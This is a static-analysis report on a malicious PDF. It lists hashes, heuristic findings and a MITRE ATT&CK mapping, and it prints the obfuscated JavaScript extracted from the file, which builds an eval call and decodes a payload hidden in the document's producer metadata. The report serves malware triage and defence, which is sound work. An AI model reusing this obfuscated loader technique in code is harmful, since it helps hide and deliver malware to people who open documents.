Malicious PDF — malware analysis report

Static analysis result for SHA-256 b8ae615ef8aaa617…

MALICIOUS

PDF

22.1 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 3af06d5a05a5ab5d20cf28483b70560f SHA-1: da7f6a1817f7c43006ad668854825e93c973ae0c SHA-256: b8ae615ef8aaa61769da1e5cee482a05dbad0553cd17b578070439f3fa8b9e05
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded and obfuscated JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The script uses String.fromCharCode, suggesting an attempt to hide malicious code. The primary function of the embedded JavaScript appears to be downloading and executing a second-stage payload from a remote source, as evidenced by the extracted artifact javascript_obj0001_000.js. The obfuscation and download-and-execute pattern are common in malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    dvar\(dvar\('String.fromCharCode\(' + zhdp + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x562D 361 bytes
SHA-256: 068bdad9b038b677489695be59b3962a2db2953f2d8e5ca8f93b8521c32951e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
aokc = app;
ckck = new Date(2010,11,4);
var ibf='';
var ouyy = 'e'+ckck.getDay()+'a'+ibf+'l';
ouyy = ouyy.replace('6','v');
dvar=aokc[ouyy];
var ibf='';
dvar('va'+ibf+'r owj=th'+ibf+'i'+ibf+'s');
toc='pr' + ibf + ckck.getDay() + ibf + 'uc' +'er';
toc = toc.replace('6', 'od');
var zhdp = owj[toc];
dvar(dvar('String.fromCharCode(' + zhdp + ')'));

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